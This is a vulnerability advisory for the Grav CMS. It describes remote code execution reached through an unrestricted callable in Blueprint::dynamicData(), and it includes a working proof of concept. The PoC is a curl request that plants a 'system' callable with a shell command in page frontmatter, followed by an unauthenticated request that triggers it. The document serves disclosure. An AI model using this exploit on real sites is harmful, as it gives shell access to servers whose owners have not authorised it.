Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.